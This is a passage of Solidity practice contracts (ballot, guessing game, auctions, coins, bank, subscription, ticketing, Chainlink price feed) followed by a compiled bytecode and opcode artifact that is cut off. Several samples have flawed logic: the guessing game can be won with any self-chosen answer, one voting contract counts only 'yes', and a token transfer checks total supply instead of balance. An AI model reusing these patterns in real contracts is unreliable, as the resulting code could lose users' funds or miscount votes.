constructor(bytes32[] memory proposalNames) { | |
chairperson = msg.sender; | |
voters[chairperson].weight = 1; | |
for (uint i = 0; i < proposalNames.length; i++) { | |
// 'Proposal({...})' creates a temporary | |
// Proposal object and 'proposals.push(...)' | |
// appends it to the end of 'proposals'. | |
proposals.push(Proposal({ | |
name: proposalNames[i], | |
voteCount: 0 | |
})); | |
} | |
} | |
/** | |
* @dev Give 'voter' the right to vote on this ballot. May only be called by 'chairperson'. | |
* @param voter address of voter | |
*/ | |
function giveRightToVote(address voter) public { | |
require( | |
msg.sender == chairperson, | |
"Only chairperson can give right to vote." | |
); | |
require( | |
!voters[voter].voted, | |
"The voter already voted." | |
); | |
require(voters[voter].weight == 0); | |
voters[voter].weight = 1; | |
} | |
/** | |
* @dev Delegate your vote to the voter 'to'. | |
* @param to address to which vote is delegated | |
*/ | |
function delegate(address to) public { | |
Voter storage sender = voters[msg.sender]; | |
require(!sender.voted, "You already voted."); | |
require(to != msg.sender, "Self-delegation is disallowed."); | |
while (voters[to].delegate != address(0)) { | |
to = voters[to].delegate; | |
// We found a loop in the delegation, not allowed. | |
require(to != msg.sender, "Found loop in delegation."); | |
} | |
sender.voted = true; | |
sender.delegate = to; | |
Voter storage delegate_ = voters[to]; | |
if (delegate_.voted) { | |
// If the delegate already voted, | |
// directly add to the number of votes | |
proposals[delegate_.vote].voteCount += sender.weight; | |
} else { | |
// If the delegate did not vote yet, | |
// add to her weight. | |
delegate_.weight += sender.weight; | |
} | |
} | |
/** | |
* @dev Give your vote (including votes delegated to you) to proposal 'proposals[proposal].name'. | |
* @param proposal index of proposal in the proposals array | |
*/ | |
function vote(uint proposal) public { | |
Voter storage sender = voters[msg.sender]; | |
require(sender.weight != 0, "Has no right to vote"); | |
require(!sender.voted, "Already voted."); | |
sender.voted = true; | |
sender.vote = proposal; | |
// If 'proposal' is out of the range of the array, | |
// this will throw automatically and revert all | |
// changes. | |
proposals[proposal].voteCount += sender.weight; | |
} | |
/** | |
* @dev Computes the winning proposal taking all previous votes into account. | |
* @return winningProposal_ index of winning proposal in the proposals array | |
*/ | |
function winningProposal() public view | |
returns (uint winningProposal_) | |
{ | |
uint winningVoteCount = 0; | |
for (uint p = 0; p < proposals.length; p++) { | |
if (proposals[p].voteCount > winningVoteCount) { | |
winningVoteCount = proposals[p].voteCount; | |
winningProposal_ = p; | |
} | |
} | |
} | |
/** | |
* @dev Calls winningProposal() function to get the index of the winner contained in the proposals array and then | |
* @return winnerName_ the name of the winner | |
*/ | |
function winnerName() public view | |
returns (bytes32 winnerName_) | |
{ | |
winnerName_ = proposals[winningProposal()].name; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract GuessingGame { | |
mapping(address => bytes32) public commitments; | |
address[] public winners; | |
function createCommitment(address user, uint answer) public pure returns (bytes32) { | |
return keccak256(abi.encodePacked(user, answer)); | |
} | |
function guess(bytes32 _commitment) public{ | |
commitments[msg.sender] = _commitment; | |
} | |
function reveal(uint answer) public { | |
require(createCommitment(msg.sender, answer) == commitments[msg.sender]); | |
winners.push(msg.sender); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract Auction { | |
enum AuctionState { PLACEBID, WIDTHDRAW } | |
AuctionState public currentState; | |
address public currentLeader; | |
uint public highestBid; | |
mapping(address => uint) public balances; | |
constructor(){ | |
currentState = AuctionState.PLACEBID; | |
} | |
modifier inState(AuctionState _state){ | |
require(currentState == _state); | |
_; | |
} | |
function placeBid() external payable { | |
require(msg.value > highestBid, "Need to pay more to become the leader"); | |
balances[currentLeader] += highestBid; | |
highestBid = msg.value; | |
currentLeader = msg.sender; | |
} | |
function withdraw() public { | |
require(msg.sender != currentLeader, "Current Leader cannot withdraw"); | |
uint amount = balances[msg.sender]; | |
balances[msg.sender] = 0; | |
(bool sent, ) = msg.sender.call{value: amount}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract Auction { | |
address player1; | |
address player2; | |
bytes32 player1Commit; | |
bytes32 player2Commit; | |
uint8 player1Reveal; | |
uint8 player2Reveal; | |
function commit(bytes32 _hash) public { | |
if (msg.sender == player1 && player1Commit == 0x0) { | |
player1Commit = _hash; | |
} else if (msg.sender == player2 && player2Commit == 0x0) { | |
player2Commit = _hash; | |
} else { | |
revert("Not authorized or commit already made."); | |
} | |
} | |
function reveal(string memory _val) public { | |
if (msg.sender == player1 && keccak256(bytes(_val)) == player1Commit) { | |
player1Reveal = uint8(bytes(_val)[0]) - 48; | |
} else if ( | |
msg.sender == player2 && keccak256(bytes(_val)) == player2Commit | |
) { | |
player2Reveal = uint8(bytes(_val)[0]) - 48; | |
} else { | |
revert("Not authorized or invalid commit."); | |
} | |
} | |
function getWinner() public view returns (address) { | |
require( | |
player1Reveal != 0 && player2Reveal != 0, | |
"Both players must reveal their choices." | |
); | |
if ((player1Reveal + player2Reveal) % 2 == 0) { | |
return player1; | |
} else { | |
return player2; | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.7; | |
import "https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; | |
contract DataConsumerV3 { | |
AggregatorV3Interface internal dataFeed; | |
/** | |
* Network: Sepolia | |
* Aggregator: BTC/USD | |
* Address: 0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43 | |
*/ | |
constructor() { | |
dataFeed = AggregatorV3Interface( | |
0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43 | |
); | |
} | |
/** | |
* Returns the latest answer. | |
*/ | |
function getLatestData() public view returns (int) { | |
// prettier-ignore | |
( | |
/* uint80 roundID */, | |
int answer, | |
/*uint startedAt*/, | |
/*uint timeStamp*/, | |
/*uint80 answeredInRound*/ | |
) = dataFeed.latestRoundData(); | |
return answer; | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.8.2 <0.9.0; | |
contract TokenRewardsProgram { | |
address public owner; | |
mapping(address => uint) public rewardPoints; | |
constructor() { | |
owner = msg.sender; | |
} | |
modifier onlyOwner() { | |
require(msg.sender == owner, "Only the owner can call this function."); | |
_; | |
} | |
function earnRewardPoints(uint _points) public { | |
rewardPoints[msg.sender] += _points; | |
} | |
function redeemRewardPoints(uint _points) public { | |
require(rewardPoints[msg.sender] >= _points, "Insufficient reward points."); | |
rewardPoints[msg.sender] -= _points; | |
// Perform the redemption logic here | |
} | |
function getRewardPoints(address _user) public view returns (uint) { | |
return rewardPoints[_user]; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract SimpleCoin { | |
bytes32 public name = "My Coin"; | |
uint256 public tokenSupply = 1000000; | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Coin { | |
mapping(address => uint256) private _balances; | |
string private _symbol; | |
string private _name; | |
uint256 private _tokenSupply; | |
constructor( | |
string memory symbol_, | |
string memory name_, | |
uint256 tokenSupply_ | |
) { | |
_symbol = symbol_; | |
_name = name_; | |
_tokenSupply = tokenSupply_; | |
_balances[msg.sender] = tokenSupply_; | |
} | |
function name() public view returns (string memory) { | |
return _name; | |
} | |
function symbol() public view returns (string memory) { | |
return _symbol; | |
} | |
function tokenSupply() public view returns (uint256) { | |
return _tokenSupply; | |
} | |
function balanceOf(address _account) public view returns (uint256) { | |
// guard check | |
require(_account != address(0), "No Address"); | |
return _balances[_account]; | |
} | |
function transfer(address _to, uint256 _amount) public returns(bool) { | |
require(_to != address(0), "No Address"); | |
require(_amount > 0, "Amount is < 0"); | |
require(_amount < _tokenSupply, "Insufficient Token"); | |
_balances[msg.sender] -= _amount; | |
_balances[_to] += _amount; | |
return(true); | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.8.2 <0.9.0; | |
contract SubscriptionService { | |
address public owner; | |
uint public subscriptionFee; | |
mapping(address => bool) public subscribers; | |
event SubscriptionRenewed( | |
address indexed subscriber, | |
uint renewalTimestamp | |
); | |
constructor(uint _subscriptionFee) { | |
owner = msg.sender; | |
subscriptionFee = _subscriptionFee; | |
} | |
modifier onlyOwner() { | |
require(msg.sender == owner, "Only the owner can call this function."); | |
_; | |
} | |
function subscribe() public payable { | |
require(msg.value == subscriptionFee, "Invalid subscription fee."); | |
subscribers[msg.sender] = true; | |
emit SubscriptionRenewed(msg.sender, block.timestamp); | |
} | |
function unsubscribe() public { | |
subscribers[msg.sender] = false; | |
} | |
function renewSubscription() public payable { | |
require( | |
!subscribers[msg.sender], | |
"Subscriber already has an active subscription." | |
); | |
require(msg.value == subscriptionFee, "Invalid subscription fee."); | |
subscribers[msg.sender] = true; | |
emit SubscriptionRenewed(msg.sender, block.timestamp); | |
} | |
function withdrawFunds() public onlyOwner { | |
payable(owner).transfer(address(this).balance); | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.8.2 <0.9.0; | |
// Ticketing System Contract | |
contract TicketingSystem { | |
struct Event { | |
uint id; | |
address organizer; | |
string eventName; | |
uint ticketPrice; | |
mapping(uint => address) ticketOwners; | |
} | |
Event[] public events; | |
function createEvent(string memory _eventName, uint _ticketPrice) public { | |
Event storage newEvent = events.push(); | |
newEvent.id = events.length; | |
newEvent.organizer = msg.sender; | |
newEvent.eventName = _eventName; | |
newEvent.ticketPrice = _ticketPrice; | |
} | |
function purchaseTicket(uint _eventId) public payable { | |
Event storage evnt = events[_eventId]; | |
require(msg.value >= evnt.ticketPrice, "Insufficient funds to purchase the ticket."); | |
uint ticketId = uint(keccak256(abi.encodePacked(msg.sender, block.number))); | |
evnt.ticketOwners[ticketId] = msg.sender; | |
} | |
} | |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Counter { | |
uint256 private count; | |
constructor() { | |
count = 0; | |
} | |
function getCount() public view returns (uint256) { | |
return count; | |
} | |
function increment() public { | |
count++; | |
} | |
function decrement() public { | |
count--; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract SimpleVoting { | |
mapping(address => bool) private hasVoted; | |
uint public yesVotes; | |
uint public noVotes; | |
bool private choice = true; | |
function vote() public { | |
require(!hasVoted[msg.sender], "Already voted"); | |
hasVoted[msg.sender] = true; | |
if (choice) { | |
yesVotes++; | |
} else { | |
noVotes++; | |
} | |
} | |
function getVoteCount() public view returns (uint, uint) { | |
return (yesVotes, noVotes); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract SimpleBank { | |
mapping(address => uint) private balances; | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw(uint amount) public { | |
require(balances[msg.sender] >= amount, "Insufficient balance"); | |
balances[msg.sender] -= amount; | |
payable(msg.sender).transfer(amount); | |
} | |
function getBalance() public view returns (uint) { | |
return balances[msg.sender]; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
interface AggregatorV3Interface { | |
function decimals() external view returns (uint8); | |
function description() external view returns (string memory); | |
function version() external view returns (uint256); | |
function getRoundData( | |
uint80 _roundId | |
) external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); | |
function latestRoundData() | |
external | |
view | |
returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound); | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"linkReferences": {}, | |
"object": "608060405234801561000f575f80fd5b50610c518061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80637049e08714610038578063e5c5e9a314610068575b5f80fd5b610052600480360381019061004d9190610267565b61009b565b60405161005f9190610391565b60405180910390f35b610082600480360381019061007d9190610406565b6100d0565b6040516100929493929190610631565b60405180910390f35b606085858585856040516020016100b69594939291906107f8565b604051602081830303815290604052905095945050505050565b5f8060606100dc610104565b85858101906100eb9190610b7f565b8094508195508296508397505050505092959194509250565b60405180604001604052806060815260200161011e610124565b81525090565b6040518060400160405280600290602082028036833780820191505090505090565b5f604051905090565b5f80fd5b5f80fd5b5f819050919050565b61016981610157565b8114610173575f80fd5b50565b5f8135905061018481610160565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101b38261018a565b9050919050565b6101c3816101a9565b81146101cd575f80fd5b50565b5f813590506101de816101ba565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112610205576102046101e4565b5b8235905067ffffffffffffffff811115610222576102216101e8565b5b60208301915083602082028301111561023e5761023d6101ec565b5b9250929050565b5f80fd5b5f6060828403121561025e5761025d610245565b5b81905092915050565b5f805f805f608086880312156102805761027f61014f565b5b5f61028d88828901610176565b955050602061029e888289016101d0565b945050604086013567ffffffffffffffff8111156102bf576102be610153565b5b6102cb888289016101f0565b9350935050606086013567ffffffffffffffff8111156102ee576102ed610153565b5b6102fa88828901610249565b9150509295509295909350565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561033e578082015181840152602081019050610323565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61036382610307565b61036d8185610311565b935061037d818560208601610321565b61038681610349565b840191505092915050565b5f6020820190508181035f8301526103a98184610359565b905092915050565b5f8083601f8401126103c6576103c56101e4565b5b8235905067ffffffffffffffff8111156103e3576103e26101e8565b5b6020830191508360018202830111156103ff576103fe6101ec565b5b9250929050565b5f806020838503121561041c5761041b61014f565b5b5f83013567ffffffffffffffff81111561043957610438610153565b5b610445858286016103b1565b92509250509250929050565b61045a81610157565b82525050565b610469816101a9565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6104a181610157565b82525050565b5f6104b28383610498565b60208301905092915050565b5f602082019050919050565b5f6104d48261046f565b6104de8185610479565b93506104e983610489565b805f5b8381101561051957815161050088826104a7565b975061050b836104be565b9250506001810190506104ec565b5085935050505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f61054a82610526565b6105548185610530565b9350610564818560208601610321565b61056d81610349565b840191505092915050565b5f60029050919050565b5f81905092915050565b5f819050919050565b5f602082019050919050565b6105aa81610578565b6105b48184610582565b92506105bf8261058c565b805f5b838110156105ef5781516105d687826104a7565b96506105e183610595565b9250506001810190506105c2565b505050505050565b5f606083015f8301518482035f8601526106118282610540565b915050602083015161062660208601826105a1565b508091505092915050565b5f6080820190506106445f830187610451565b6106516020830186610460565b818103604083015261066381856104ca565b9050818103606083015261067781846105f7565b905095945050505050565b5f80fd5b82818337505050565b5f61069a8385610479565b93507f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8311156106cd576106cc610682565b5b6020830292506106de838584610686565b82840190509392505050565b5f80fd5b5f80fd5b5f80fd5b5f8083356001602003843603038112610712576107116106f2565b5b83810192508235915060208301925067ffffffffffffffff82111561073a576107396106ea565b5b6001820236038313156107505761074f6106ee565b5b509250929050565b828183375f83830152505050565b5f6107718385610530565b935061077e838584610758565b61078783610349565b840190509392505050565b5f82905092915050565b6107a860408383610686565b5050565b5f606083016107bd5f8401846106f6565b8583035f8701526107cf838284610766565b925050506107e06020840184610792565b6107ed602086018261079c565b508091505092915050565b5f60808201905061080b5f830188610451565b6108186020830187610460565b818103604083015261082b81858761068f565b9050818103606083015261083f81846107ac565b90509695505050505050565b5f6108558261018a565b9050919050565b6108658161084b565b811461086f575f80fd5b50565b5f813590506108808161085c565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6108bc82610349565b810181811067ffffffffffffffff821117156108db576108da610886565b5b80604052505050565b5f6108ed610146565b90506108f982826108b3565b919050565b5f67ffffffffffffffff82111561091857610917610886565b5b602082029050602081019050919050565b5f61093b610936846108fe565b6108e4565b9050808382526020820190506020840283018581111561095e5761095d6101ec565b5b835b8181101561098757806109738882610176565b845260208401935050602081019050610960565b5050509392505050565b5f82601f8301126109a5576109a46101e4565b5b81356109b5848260208601610929565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f67ffffffffffffffff8211156109e4576109e3610886565b5b6109ed82610349565b9050602081019050919050565b5f610a0c610a07846109ca565b6108e4565b905082815260208101848484011115610a2857610a276109c6565b5b610a33848285610758565b509392505050565b5f82601f830112610a4f57610a4e6101e4565b5b8135610a5f8482602086016109fa565b91505092915050565b5f67ffffffffffffffff821115610a8257610a81610886565b5b602082029050919050565b5f610a9f610a9a84610a68565b6108e4565b90508060208402830185811115610ab957610ab86101ec565b5b835b81811015610ae25780610ace8882610176565b845260208401935050602081019050610abb565b5050509392505050565b5f82601f830112610b0057610aff6101e4565b5b6002610b0d848285610a8d565b91505092915050565b5f60608284031215610b2b57610b2a6109be565b5b610b3560406108e4565b90505f82013567ffffffffffffffff811115610b5457610b536109c2565b5b610b6084828501610a3b565b5f830152506020610b7384828501610aec565b60208301525092915050565b5f805f8060808587031215610b9757610b9661014f565b5b5f610ba487828801610176565b9450506020610bb587828801610872565b935050604085013567ffffffffffffffff811115610bd657610bd5610153565b5b610be287828801610991565b925050606085013567ffffffffffffffff811115610c0357610c02610153565b5b610c0f87828801610b16565b9150509295919450925056fea26469706673582212205b725c550f5817665032ea732faca2091d7328e7d84cb0b00d1967eae8625aef64736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH2 0xC51 DUP1 PUSH2 0x1D PUSH0 CODECOPY PUSH0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x34 JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x7049E087 EQ PUSH2 0x38 JUMPI DUP1 PUSH4 0xE5C5E9A3 EQ PUSH2 0x68 JUMPI JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH2 0x52 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x4D SWAP2 SWAP1 PUSH2 0x267 JUMP JUMPDEST PUSH2 0x9B JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5F SWAP2 SWAP1 PUSH2 0x391 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x82 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x7D SWAP2 SWAP1 PUSH2 0x406 JUMP JUMPDEST PUSH2 0xD0 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x92 SWAP5 SWAP4 SWAP3 SWAP2 SWAP1 PUSH2 0x631 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x60 DUP6 DUP6 DUP6 DUP6 DUP6 PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0xB6 SWAP6 SWAP5 SWAP4 SWAP3 SWAP2 SWAP1 PUSH2 0x7F8 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE SWAP1 POP SWAP6 SWAP5 POP POP POP POP POP JUMP JUMPDEST PUSH0 DUP1 PUSH1 0x60 PUSH2 0xDC PUSH2 0x104 JUMP JUMPDEST DUP6 DUP6 DUP2 ADD SWAP1 PUSH2 0xEB SWAP2 SWAP1 PUSH2 0xB7F JUMP JUMPDEST DUP1 SWAP5 POP DUP2 SWAP6 POP DUP3 SWAP7 POP DUP4 SWAP8 POP POP POP POP POP SWAP3 SWAP6 SWAP2 SWAP5 POP SWAP3 POP JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 PUSH1 0x40 ADD PUSH1 0x40 MSTORE DUP1 PUSH1 0x60 DUP2 MSTORE PUSH1 0x20 ADD PUSH2 0x11E PUSH2 0x124 JUMP JUMPDEST DUP2 MSTORE POP SWAP1 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 PUSH1 0x40 ADD PUSH1 0x40 MSTORE DUP1 PUSH1 0x2 SWAP1 PUSH1 0x20 DUP3 MUL DUP1 CALLDATASIZE DUP4 CALLDATACOPY DUP1 DUP3 ADD SWAP2 POP POP SWAP1 POP POP SWAP1 JUMP JUMPDEST PUSH0 PUSH1 0x40 MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x169 DUP2 PUSH2 0x157 JUMP JUMPDEST DUP2 EQ PUSH2 0x173 JUMPI PUSH0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x184 DUP2 PUSH2 0x160 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x1B3 DUP3 PUSH2 0x18A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x1C3 DUP2 PUSH2 0x1A9 JUMP JUMPDEST DUP2 EQ PUSH2 0x1CD JUMPI PUSH0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x1DE DUP2 PUSH2 0x1BA JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 DUP4 PUSH1 0x1F DUP5 ADD SLT PUSH2 0x205 JUMPI PUSH2 0x204 PUSH2 0x1E4 JUMP JUMPDEST JUMPDEST DUP3 CALLDATALOAD SWAP1 POP PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x222 JUMPI PUSH2 0x221 PUSH2 0x1E8 JUMP JUMPDEST JUMPDEST PUSH1 0x20 DUP4 ADD SWAP2 POP DUP4 PUSH1 0x20 DUP3 MUL DUP4 ADD GT ISZERO PUSH2 0x23E JUMPI PUSH2 0x23D PUSH2 0x1EC JUMP JUMPDEST JUMPDEST SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 PUSH1 0x60 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x25E JUMPI PUSH2 0x25D PUSH2 0x245 JUMP JUMPDEST JUMPDEST DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 PUSH0 DUP1 PUSH0 PUSH1 0x80 DUP7 DUP9 SUB SLT ISZERO PUSH2 0x280 JUMPI PUSH2 0x27F PUSH2 0x14F JUMP JUMPDEST JUMPDEST PUSH0 PUSH2 0x28D DUP9 DUP3 DUP10 ADD PUSH2 0x176 JUMP JUMPDEST SWAP6 POP POP PUSH1 0x20 PUSH2 0x29E DUP9 DUP3 DUP10 ADD PUSH2 0x1D0 JUMP JUMPDEST SWAP5 POP POP PUSH1 0x40 DUP7 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2BF JUMPI PUSH2 0x2BE PUSH2 0x153 JUMP JUMPDEST JUMPDEST PUSH2 0x2CB DUP9 DUP3 DUP10 ADD PUSH2 0x1F0 JUMP JUMPDEST SWAP4 POP SWAP4 POP POP PUSH1 0x60 DUP7 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2EE JUMPI PUSH2 0x2ED PUSH2 0x153 JUMP JUMPDEST JUMPDEST PUSH2 0x2FA DUP9 DUP3 DUP10 ADD PUSH2 0x249 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP6 POP SWAP3 SWAP6 SWAP1 SWAP4 POP JUMP JUMPDEST PUSH0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x33E JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x323 JUMP JUMPDEST PUSH0 DUP5 DUP5 ADD MSTORE POP POP POP POP JUMP JUMPDEST PUSH0 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x363 DUP3 PUSH2 0x307 JUMP JUMPDEST PUSH2 0x36D DUP2 DUP6 PUSH2 0x311 JUMP JUMPDEST SWAP4 POP PUSH2 0x37D DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x321 JUMP JUMPDEST PUSH2 0x386 DUP2 PUSH2 0x349 JUMP JUMPDEST DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH0 DUP4 ADD MSTORE PUSH2 0x3A9 DUP2 DUP5 PUSH2 0x359 JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 DUP4 PUSH1 0x1F DUP5 ADD SLT PUSH2 0x3C6 JUMPI PUSH2 0x3C5 PUSH2 0x1E4 JUMP JUMPDEST JUMPDEST DUP3 CALLDATALOAD SWAP1 POP PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x3E3 JUMPI PUSH2 0x3E2 PUSH2 0x1E8 JUMP JUMPDEST JUMPDEST PUSH1 0x20 DUP4 ADD SWAP2 POP DUP4 PUSH1 0x1 DUP3 MUL DUP4 ADD GT ISZERO PUSH2 0x3FF JUMPI PUSH2 0x3FE PUSH2 0x1EC JUMP JUMPDEST JUMPDEST SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH0 DUP1 PUSH1 0x20 DUP4 DUP6 SUB SLT ISZERO PUSH2 0x41C JUMPI PUSH2 0x41B PUSH2 0x14F JUMP JUMPDEST JUMPDEST PUSH0 DUP4 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x439 JUMPI PUSH2 0x438 PUSH2 0x153 JUMP JUMPDEST JUMPDEST PUSH2 0x445 DUP6 DUP3 DUP7 ADD PUSH2 0x3B1 JUMP JUMPDEST SWAP3 POP SWAP3 POP POP SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH2 0x45A DUP2 PUSH2 0x157 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x469 DUP2 PUSH2 0x1A9 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP2 SWAP1 POP PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x4A1 DUP2 PUSH2 0x157 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH0 PUSH2 0x4B2 DUP4 DUP4 PUSH2 0x498 JUMP JUMPDEST PUSH1 0x20 DUP4 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x4D4 DUP3 PUSH2 0x46F JUMP JUMPDEST PUSH2 0x4DE DUP2 DUP6 PUSH2 0x479 JUMP JUMPDEST SWAP4 POP PUSH2 0x4E9 DUP4 PUSH2 0x489 JUMP JUMPDEST DUP1 PUSH0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x519 JUMPI DUP2 MLOAD PUSH2 0x500 DUP9 DUP3 PUSH2 0x4A7 JUMP JUMPDEST SWAP8 POP PUSH2 0x50B DUP4 PUSH2 0x4BE JUMP JUMPDEST SWAP3 POP POP PUSH1 0x1 DUP2 ADD SWAP1 POP PUSH2 0x4EC JUMP JUMPDEST POP DUP6 SWAP4 POP POP POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 DUP3 